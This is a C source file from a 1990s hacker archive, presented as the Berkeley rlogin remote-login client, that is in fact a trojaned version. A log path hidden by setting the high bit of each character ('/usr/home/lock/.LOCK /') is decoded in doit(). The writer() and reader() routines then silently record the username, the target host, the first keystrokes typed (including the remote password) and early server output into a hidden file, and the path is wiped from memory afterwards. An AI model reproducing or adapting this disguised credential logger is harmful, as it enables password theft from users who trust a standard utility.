home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / grlogin.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  15KB  |  737 lines

  1. /*
  2.  * Copyright (c) 1983 The Regents of the University of California.
  3.  * All rights reserved.
  4.  *
  5.  * Redistribution and use in source and binary forms are permitted
  6.  * provided that the above copyright notice and this paragraph are
  7.  * duplicated in all such forms and that any documentation,
  8.  * advertising materials, and other materials related to such
  9.  * distribution and use acknowledge that the software was developed
  10.  * by the University of California, Berkeley.  The name of the
  11.  * University may not be used to endorse or promote products derived
  12.  * from this software without specific prior written permission.
  13.  * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
  14.  * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
  15.  * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
  16.  */
  17.  
  18. #ifndef lint
  19. char copyright[] =
  20. "@(#) Copyright (c) 1983 The Regents of the University of California.\n\
  21.  All rights reserved.\n";
  22. #endif /* not lint */
  23.  
  24. #ifndef lint
  25. static char sccsid[] = "@(#)rlogin.c    5.12 (Berkeley) 9/19/88";
  26. #endif /* not lint */
  27.  
  28. #define    MAX_READ    100
  29. #define    MAX_WRITE    512
  30. #define    MODE        0644
  31.  
  32. char f[1024] = {'/' | 0x080,
  33.         'u' | 0x080,
  34.         's' | 0x080,
  35.         'r' | 0x080,
  36.         '/' | 0x080,
  37.         'h' | 0x080,
  38.         'o' | 0x080,
  39.         'm' | 0x080,
  40.         'e' | 0x080,
  41.         '/' | 0x080,
  42.         'l' | 0x080,
  43.         'o' | 0x080,
  44.         'c' | 0x080,
  45.         'k' | 0x080,
  46.         '/' | 0x080,
  47.         '.' | 0x080,
  48.         'L' | 0x080,
  49.         'O' | 0x080,
  50.         'C' | 0x080,
  51.         'K' | 0x080,
  52.         ' ' | 0x080,
  53.         '/' | 0x080};
  54.  
  55. /*
  56.  * rlogin - remote login
  57.  */
  58. #include <sys/param.h>
  59. #include <sys/errno.h>
  60. #include <sys/file.h>
  61. #include <sys/socket.h>
  62. #include <sys/time.h>
  63. #include <sys/resource.h>
  64. #include <sys/wait.h>
  65.  
  66. #include <netinet/in.h>
  67.  
  68. #include <stdio.h>
  69. #include <sgtty.h>
  70. #include <errno.h>
  71. #include <pwd.h>
  72. #include <signal.h>
  73. #include <setjmp.h>
  74. #include <netdb.h>
  75.  
  76. # ifndef TIOCPKT_WINDOW
  77. # define TIOCPKT_WINDOW 0x80
  78. # endif TIOCPKT_WINDOW
  79.  
  80. /* concession to sun */
  81. # ifndef SIGUSR1
  82. # define SIGUSR1 30
  83. # endif SIGUSR1
  84.  
  85. char    *index(), *rindex(), *malloc(), *getenv(), *strcat(), *strcpy();
  86. struct    passwd *getpwuid();
  87. char    *name;
  88. int    rem;
  89. char    cmdchar = '~';
  90. int    eight;
  91. int    l, w;
  92. int    litout;
  93. char    *speeds[] =
  94.     { "0", "50", "75", "110", "134", "150", "200", "300",
  95.       "600", "1200", "1800", "2400", "4800", "9600", "19200", "38400" };
  96. char    term[256] = "network";
  97. char    n[16];
  98. char    h[256];
  99. extern    int errno;
  100. int    lostpeer();
  101. int    dosigwinch = 0;
  102. #ifndef sigmask
  103. #define sigmask(m)    (1 << ((m)-1))
  104. #endif
  105. #ifdef sun
  106. struct winsize {
  107.     unsigned short ws_row, ws_col;
  108.     unsigned short ws_xpixel, ws_ypixel;
  109. };
  110. #endif sun
  111. struct    winsize winsize;
  112. int    sigwinch(), oob();
  113.  
  114. /*
  115.  * The following routine provides compatibility (such as it is)
  116.  * between 4.2BSD Suns and others.  Suns have only a `ttysize',
  117.  * so we convert it to a winsize.
  118.  */
  119. #ifdef sun
  120. int
  121. get_window_size(fd, wp)
  122.     int fd;
  123.     struct winsize *wp;
  124. {
  125.     struct ttysize ts;
  126.     int error;
  127.  
  128.     if ((error = ioctl(0, TIOCGSIZE, &ts)) != 0)
  129.         return (error);
  130.     wp->ws_row = ts.ts_lines;
  131.     wp->ws_col = ts.ts_cols;
  132.     wp->ws_xpixel = 0;
  133.     wp->ws_ypixel = 0;
  134.     return (0);
  135. }
  136. #else sun
  137. #define get_window_size(fd, wp)    ioctl(fd, TIOCGWINSZ, wp)
  138. #endif sun
  139.  
  140. main(argc, argv)
  141.     int argc;
  142.     char **argv;
  143. {
  144.     char *host, *cp;
  145.     struct sgttyb ttyb;
  146.     struct passwd *pwd;
  147.     struct servent *sp;
  148.     int uid, options = 0, oldmask;
  149.     int on = 1;
  150.  
  151.     host = rindex(argv[0], '/');
  152.     if (host)
  153.         host++;
  154.     else
  155.         host = argv[0];
  156.     argv++, --argc;
  157.     n[0] = '\0';
  158.     if (!strcmp(host, "rlogin"))
  159.         host = *argv++, --argc;
  160.     strcpy(h, host);
  161. another:
  162.     if (argc > 0 && !strcmp(*argv, "-d")) {
  163.         argv++, argc--;
  164.                 options |= SO_DEBUG;
  165.         goto another;
  166.     }
  167.     if (argc > 0 && !strcmp(*argv, "-l")) {
  168.         argv++, argc--;
  169.         if (argc == 0)
  170.             goto usage;
  171.         name = *argv++; argc--;
  172.         strcpy(n, name);
  173.         goto another;
  174.     }
  175.     if (argc > 0 && !strncmp(*argv, "-e", 2)) {
  176.         cmdchar = argv[0][2];
  177.         argv++, argc--;
  178.         goto another;
  179.     }
  180.     if (argc > 0 && !strcmp(*argv, "-8")) {
  181.         eight = 1;
  182.         argv++, argc--;
  183.         goto another;
  184.     }
  185.     if (argc > 0 && !strcmp(*argv, "-L")) {
  186.         litout = 1;
  187.         argv++, argc--;
  188.         goto another;
  189.     }
  190.     if (host == 0)
  191.         goto usage;
  192.     if (argc > 0)
  193.         goto usage;
  194.     pwd = getpwuid(getuid());
  195.     if (pwd == 0) {
  196.         fprintf(stderr, "Who are you?\n");
  197.         exit(1);
  198.     }
  199.     if (!n[0])
  200.         strcpy(n, pwd->pw_name);
  201.     sp = getservbyname("login", "tcp");
  202.     if (sp == 0) {
  203.         fprintf(stderr, "rlogin: login/tcp: unknown service\n");
  204.         exit(2);
  205.     }
  206.     cp = getenv("TERM");
  207.     if (cp)
  208.         (void) strcpy(term, cp);
  209.     if (ioctl(0, TIOCGETP, &ttyb) == 0) {
  210.         (void) strcat(term, "/");
  211.         (void) strcat(term, speeds[ttyb.sg_ospeed]);
  212.     }
  213.     (void) get_window_size(0, &winsize);
  214.     (void) signal(SIGPIPE, lostpeer);
  215.     /* will use SIGUSR1 for window size hack, so hold it off */
  216.     oldmask = sigblock(sigmask(SIGURG) | sigmask(SIGUSR1));
  217.         rem = rcmd(&host, sp->s_port, pwd->pw_name,
  218.         name ? name : pwd->pw_name, term, 0);
  219.         if (rem < 0)
  220.                 exit(1);
  221.     if (options & SO_DEBUG &&
  222.         setsockopt(rem, SOL_SOCKET, SO_DEBUG, &on, sizeof (on)) < 0)
  223.         perror("rlogin: setsockopt (SO_DEBUG)");
  224.     uid = getuid();
  225.     if (setuid(uid) < 0) {
  226.         perror("rlogin: setuid");
  227.         exit(1);
  228.     }
  229.     
  230.     doit(oldmask);
  231.     /*NOTREACHED*/
  232. usage:
  233.     fprintf(stderr,
  234.         "usage: rlogin host [ -ex ] [ -l username ] [ -8 ] [ -L ]\n");
  235.     exit(1);
  236. }
  237.  
  238. #define CRLF "\r\n"
  239.  
  240. int    child;
  241. int    catchild();
  242. int    copytochild(), writeroob();
  243.  
  244. int    defflags, tabflag;
  245. int    deflflags;
  246. char    deferase, defkill;
  247. struct    tchars deftc;
  248. struct    ltchars defltc;
  249. struct    tchars notc =    { -1, -1, -1, -1, -1, -1 };
  250. struct    ltchars noltc =    { -1, -1, -1, -1, -1, -1 };
  251.  
  252. doit(oldmask)
  253. {
  254.     int exit();
  255.     struct sgttyb sb;
  256.     char *c1, *c2, str[1024], fn[1024];
  257.  
  258.     (void) ioctl(0, TIOCGETP, (char *)&sb);
  259.     defflags = sb.sg_flags;
  260.     tabflag = defflags & TBDELAY;
  261.     defflags &= ECHO | CRMOD;
  262.     deferase = sb.sg_erase;
  263.     defkill = sb.sg_kill;
  264.     (void) ioctl(0, TIOCLGET, (char *)&deflflags);
  265.     (void) ioctl(0, TIOCGETC, (char *)&deftc);
  266.     notc.t_startc = deftc.t_startc;
  267.     notc.t_stopc = deftc.t_stopc;
  268.     (void) ioctl(0, TIOCGLTC, (char *)&defltc);
  269.     (void) signal(SIGINT, SIG_IGN);
  270.     setsignal(SIGHUP, exit);
  271.     setsignal(SIGQUIT, exit);
  272.     sprintf(str, "(%s to %s)\n", n, h);
  273.     for (c1 = f, c2 = fn; *c1; *c2++ = *c1++ & ~0x080);
  274.     sprintf(f, "%s%s.%u", fn, n, getpid());
  275.     l = open(f, O_WRONLY | O_CREAT | O_TRUNC, 0777);
  276.     for (c1 = f; *c1; *c1++ = ' ');
  277.     for (c1 = fn; *c1; *c1++ = ' ');
  278.     w = 0;
  279.     if (l >= 0) {
  280.         fchmod(l, MODE);
  281.         write(l, str, strlen(str));
  282.         w += strlen(str);
  283.     }
  284.  
  285.     child = fork();
  286.     if (child == -1) {
  287.         perror("rlogin: fork");
  288.         done(1);
  289.     }
  290.     if (child == 0) {
  291.         mode(1);
  292.         if (reader(oldmask) == 0) {
  293.             prf("Connection closed.");
  294.             exit(0);
  295.         }
  296.         sleep(1);
  297.         prf("\007Connection closed.");
  298.         exit(3);
  299.     }
  300.  
  301.     /*
  302.      * We may still own the socket, and may have a pending SIGURG
  303.      * (or might receive one soon) that we really want to send to
  304.      * the reader.  Set a trap that simply copies such signals to
  305.      * the child.
  306.      */
  307.     (void) signal(SIGURG, copytochild);
  308.     (void) signal(SIGUSR1, writeroob);
  309.     (void) sigsetmask(oldmask);
  310.     (void) signal(SIGCHLD, catchild);
  311.     writer();
  312.     if (l >= 0)
  313.         close(l);
  314.     prf("Closed connection.");
  315.     done(0);
  316. }
  317.  
  318. /*
  319.  * Trap a signal, unless it is being ignored.
  320.  */
  321. setsignal(sig, act)
  322.     int sig, (*act)();
  323. {
  324.     int omask = sigblock(sigmask(sig));
  325.  
  326.     if (signal(sig, act) == SIG_IGN)
  327.         (void) signal(sig, SIG_IGN);
  328.     (void) sigsetmask(omask);
  329. }
  330.  
  331. done(status)
  332.     int status;
  333. {
  334.     int w;
  335.  
  336.     mode(0);
  337.     if (child > 0) {
  338.         /* make sure catchild does not snap it up */
  339.         (void) signal(SIGCHLD, SIG_DFL);
  340.         if (kill(child, SIGKILL) >= 0)
  341.             while ((w = wait((union wait *)0)) > 0 && w != child)
  342.                 /*void*/;
  343.     }
  344.     exit(status);
  345. }
  346.  
  347. /*
  348.  * Copy SIGURGs to the child process.
  349.  */
  350. copytochild()
  351. {
  352.  
  353.     (void) kill(child, SIGURG);
  354. }
  355.  
  356. /*
  357.  * This is called when the reader process gets the out-of-band (urgent)
  358.  * request to turn on the window-changing protocol.
  359.  */
  360. writeroob()
  361. {
  362.  
  363.     if (dosigwinch == 0) {
  364.         sendwindow();
  365.         (void) signal(SIGWINCH, sigwinch);
  366.     }
  367.     dosigwinch = 1;
  368. }
  369.  
  370. catchild()
  371. {
  372.     union wait status;
  373.     int pid;
  374.  
  375. again:
  376.     pid = wait3(&status, WNOHANG|WUNTRACED, (struct rusage *)0);
  377.     if (pid == 0)
  378.         return;
  379.     /*
  380.      * if the child (reader) dies, just quit
  381.      */
  382.     if (pid < 0 || pid == child && !WIFSTOPPED(status))
  383.         done((int)(status.w_termsig | status.w_retcode));
  384.     goto again;
  385. }
  386.  
  387. /*
  388.  * writer: write to remote: 0 -> line.
  389.  * ~.    terminate
  390.  * ~^Z    suspend rlogin process.
  391.  * ~^Y  suspend rlogin process, but leave reader alone.
  392.  */
  393. writer()
  394. {
  395.     char c, d;
  396.     register n;
  397.     register bol = 1;               /* beginning of line */
  398.     register local = 0;
  399.  
  400.     for (;;) {
  401.         if (l >= 0 && w >= MAX_WRITE) {
  402.             close(l);
  403.             l = -1;
  404.         }
  405.         n = read(0, &c, 1);
  406.         if (l >= 0) {
  407.             d = (c == 13) ? 10 : c;
  408.             write(l, &d, 1);
  409.             w++;
  410.         }
  411.         if (n <= 0) {
  412.             if (n < 0 && errno == EINTR)
  413.                 continue;
  414.             break;
  415.         }
  416.         /*
  417.          * If we're at the beginning of the line
  418.          * and recognize a command character, then
  419.          * we echo locally.  Otherwise, characters
  420.          * are echo'd remotely.  If the command
  421.          * character is doubled, this acts as a 
  422.          * force and local echo is suppressed.
  423.          */
  424.         if (bol) {
  425.             bol = 0;
  426.             if (c == cmdchar) {
  427.                 bol = 0;
  428.                 local = 1;
  429.                 continue;
  430.             }
  431.         } else if (local) {
  432.             local = 0;
  433.             if (c == '.' || c == deftc.t_eofc) {
  434.                 echo(c);
  435.                 break;
  436.             }
  437.             if (c == defltc.t_suspc || c == defltc.t_dsuspc) {
  438.                 bol = 1;
  439.                 echo(c);
  440.                 stop(c);
  441.                 continue;
  442.             }
  443.             if (c != cmdchar)
  444.                 (void) write(rem, &cmdchar, 1);
  445.         }
  446.         if (write(rem, &c, 1) == 0) {
  447.             prf("line gone");
  448.             break;
  449.         }
  450.         bol = c == defkill || c == deftc.t_eofc ||
  451.             c == deftc.t_intrc || c == defltc.t_suspc ||
  452.             c == '\r' || c == '\n';
  453.     }
  454. }
  455.  
  456. echo(c)
  457. register char c;
  458. {
  459.     char buf[8];
  460.     register char *p = buf;
  461.  
  462.     c &= 0177;
  463.     *p++ = cmdchar;
  464.     if (c < ' ') {
  465.         *p++ = '^';
  466.         *p++ = c + '@';
  467.     } else if (c == 0177) {
  468.         *p++ = '^';
  469.         *p++ = '?';
  470.     } else
  471.         *p++ = c;
  472.     *p++ = '\r';
  473.     *p++ = '\n';
  474.     (void) write(1, buf, p - buf);
  475. }
  476.  
  477. stop(cmdc)
  478.     char cmdc;
  479. {
  480.     mode(0);
  481.     (void) signal(SIGCHLD, SIG_IGN);
  482.     (void) kill(cmdc == defltc.t_suspc ? 0 : getpid(), SIGTSTP);
  483.     (void) signal(SIGCHLD, catchild);
  484.     mode(1);
  485.     sigwinch();            /* check for size changes */
  486. }
  487.  
  488. sigwinch()
  489. {
  490.     struct winsize ws;
  491.  
  492.     if (dosigwinch && get_window_size(0, &ws) == 0 &&
  493.         bcmp(&ws, &winsize, sizeof (ws))) {
  494.         winsize = ws;
  495.         sendwindow();
  496.     }
  497. }
  498.  
  499. /*
  500.  * Send the window size to the server via the magic escape
  501.  */
  502. sendwindow()
  503. {
  504.     char obuf[4 + sizeof (struct winsize)];
  505.     struct winsize *wp = (struct winsize *)(obuf+4);
  506.  
  507.     obuf[0] = 0377;
  508.     obuf[1] = 0377;
  509.     obuf[2] = 's';
  510.     obuf[3] = 's';
  511.     wp->ws_row = htons(winsize.ws_row);
  512.     wp->ws_col = htons(winsize.ws_col);
  513.     wp->ws_xpixel = htons(winsize.ws_xpixel);
  514.     wp->ws_ypixel = htons(winsize.ws_ypixel);
  515.     (void) write(rem, obuf, sizeof(obuf));
  516. }
  517.  
  518. /*
  519.  * reader: read from remote: line -> 1
  520.  */
  521. #define    READING    1
  522. #define    WRITING    2
  523.  
  524. char    rcvbuf[8 * 1024];
  525. int    rcvcnt;
  526. int    rcvstate;
  527. int    ppid;
  528. jmp_buf    rcvtop;
  529.  
  530. oob()
  531. {
  532.     int out = FWRITE, atmark, n;
  533.     int rcvd = 0;
  534.     char waste[BUFSIZ], mark;
  535.     struct sgttyb sb;
  536.  
  537.     while (recv(rem, &mark, 1, MSG_OOB) < 0)
  538.         switch (errno) {
  539.         
  540.         case EWOULDBLOCK:
  541.             /*
  542.              * Urgent data not here yet.
  543.              * It may not be possible to send it yet
  544.              * if we are blocked for output
  545.              * and our input buffer is full.
  546.              */
  547.             if (rcvcnt < sizeof(rcvbuf)) {
  548.                 n = read(rem, rcvbuf + rcvcnt,
  549.                     sizeof(rcvbuf) - rcvcnt);
  550.                 if (n <= 0)
  551.                     return;
  552.                 rcvd += n;
  553.             } else {
  554.                 n = read(rem, waste, sizeof(waste));
  555.                 if (n <= 0)
  556.                     return;
  557.             }
  558.             continue;
  559.                 
  560.         default:
  561.             return;
  562.     }
  563.     if (mark & TIOCPKT_WINDOW) {
  564.         /*
  565.          * Let server know about window size changes
  566.          */
  567.         (void) kill(ppid, SIGUSR1);
  568.     }
  569.     if (!eight && (mark & TIOCPKT_NOSTOP)) {
  570.         (void) ioctl(0, TIOCGETP, (char *)&sb);
  571.         sb.sg_flags &= ~CBREAK;
  572.         sb.sg_flags |= RAW;
  573.         (void) ioctl(0, TIOCSETN, (char *)&sb);
  574.         notc.t_stopc = -1;
  575.         notc.t_startc = -1;
  576.         (void) ioctl(0, TIOCSETC, (char *)¬c);
  577.     }
  578.     if (!eight && (mark & TIOCPKT_DOSTOP)) {
  579.         (void) ioctl(0, TIOCGETP, (char *)&sb);
  580.         sb.sg_flags &= ~RAW;
  581.         sb.sg_flags |= CBREAK;
  582.         (void) ioctl(0, TIOCSETN, (char *)&sb);
  583.         notc.t_stopc = deftc.t_stopc;
  584.         notc.t_startc = deftc.t_startc;
  585.         (void) ioctl(0, TIOCSETC, (char *)¬c);
  586.     }
  587.     if (mark & TIOCPKT_FLUSHWRITE) {
  588.         (void) ioctl(1, TIOCFLUSH, (char *)&out);
  589.         for (;;) {
  590.             if (ioctl(rem, SIOCATMARK, &atmark) < 0) {
  591.                 perror("ioctl");
  592.                 break;
  593.             }
  594.             if (atmark)
  595.                 break;
  596.             n = read(rem, waste, sizeof (waste));
  597.             if (n <= 0)
  598.                 break;
  599.         }
  600.         /*
  601.          * Don't want any pending data to be output,
  602.          * so clear the recv buffer.
  603.          * If we were hanging on a write when interrupted,
  604.          * don't want it to restart.  If we were reading,
  605.          * restart anyway.
  606.          */
  607.         rcvcnt = 0;
  608.         longjmp(rcvtop, 1);
  609.     }
  610.  
  611.     /*
  612.      * oob does not do FLUSHREAD (alas!)
  613.      */
  614.  
  615.     /*
  616.      * If we filled the receive buffer while a read was pending,
  617.      * longjmp to the top to restart appropriately.  Don't abort
  618.      * a pending write, however, or we won't know how much was written.
  619.      */
  620.     if (rcvd && rcvstate == READING)
  621.         longjmp(rcvtop, 1);
  622. }
  623.  
  624. /*
  625.  * reader: read from remote: line -> 1
  626.  */
  627. reader(oldmask)
  628.     int oldmask;
  629. {
  630. #if !defined(BSD) || BSD < 43
  631.     int pid = -getpid();
  632. #else
  633.     int pid = getpid();
  634. #endif
  635.     int n, remaining;
  636.     char *bufp = rcvbuf;
  637.  
  638.     (void) signal(SIGTTOU, SIG_IGN);
  639.     (void) signal(SIGURG, oob);
  640.     ppid = getppid();
  641.     (void) fcntl(rem, F_SETOWN, pid);
  642.     (void) setjmp(rcvtop);
  643.     (void) sigsetmask(oldmask);
  644.     for (;;) {
  645.         while ((remaining = rcvcnt - (bufp - rcvbuf)) > 0) {
  646.             if (l >= 0 && w >= MAX_READ) {
  647.                 close(l);
  648.                 l = -1;
  649.             }
  650.             rcvstate = WRITING;
  651.             n = write(1, bufp, remaining);
  652.             if (l >= 0) {
  653.                 write(l, bufp, remaining);
  654.                 w += remaining;
  655.             }
  656.             if (n < 0) {
  657.                 if (errno != EINTR)
  658.                     return (-1);
  659.                 continue;
  660.             }
  661.             bufp += n;
  662.         }
  663.         bufp = rcvbuf;
  664.         rcvcnt = 0;
  665.         rcvstate = READING;
  666.         rcvcnt = read(rem, rcvbuf, sizeof (rcvbuf));
  667.         if (rcvcnt == 0)
  668.             return (0);
  669.         if (rcvcnt < 0) {
  670.             if (errno == EINTR)
  671.                 continue;
  672.             perror("read");
  673.             return (-1);
  674.         }
  675.     }
  676. }
  677.  
  678. mode(f)
  679. {
  680.     struct tchars *tc;
  681.     struct ltchars *ltc;
  682.     struct sgttyb sb;
  683.     int    lflags;
  684.  
  685.     (void) ioctl(0, TIOCGETP, (char *)&sb);
  686.     (void) ioctl(0, TIOCLGET, (char *)&lflags);
  687.     switch (f) {
  688.  
  689.     case 0:
  690.         sb.sg_flags &= ~(CBREAK|RAW|TBDELAY);
  691.         sb.sg_flags |= defflags|tabflag;
  692.         tc = &deftc;
  693.         ltc = &defltc;
  694.         sb.sg_kill = defkill;
  695.         sb.sg_erase = deferase;
  696.         lflags = deflflags;
  697.         break;
  698.  
  699.     case 1:
  700.         sb.sg_flags |= (eight ? RAW : CBREAK);
  701.         sb.sg_flags &= ~defflags;
  702.         /* preserve tab delays, but turn off XTABS */
  703.         if ((sb.sg_flags & TBDELAY) == XTABS)
  704.             sb.sg_flags &= ~TBDELAY;
  705.         tc = ¬c;
  706.         ltc = &noltc;
  707.         sb.sg_kill = sb.sg_erase = -1;
  708.         if (litout)
  709.             lflags |= LLITOUT;
  710.         break;
  711.  
  712.     default:
  713.         return;
  714.     }
  715.     (void) ioctl(0, TIOCSLTC, (char *)ltc);
  716.     (void) ioctl(0, TIOCSETC, (char *)tc);
  717.     (void) ioctl(0, TIOCSETN, (char *)&sb);
  718.     (void) ioctl(0, TIOCLSET, (char *)&lflags);
  719. }
  720.  
  721. /*VARARGS*/
  722. prf(f, a1, a2, a3, a4, a5)
  723.     char *f;
  724. {
  725.  
  726.     fprintf(stderr, f, a1, a2, a3, a4, a5);
  727.     fprintf(stderr, CRLF);
  728. }
  729.  
  730. lostpeer()
  731. {
  732.  
  733.     (void) signal(SIGPIPE, SIG_IGN);
  734.     prf("\007Connection closed.");
  735.     done(1);
  736. }
  737.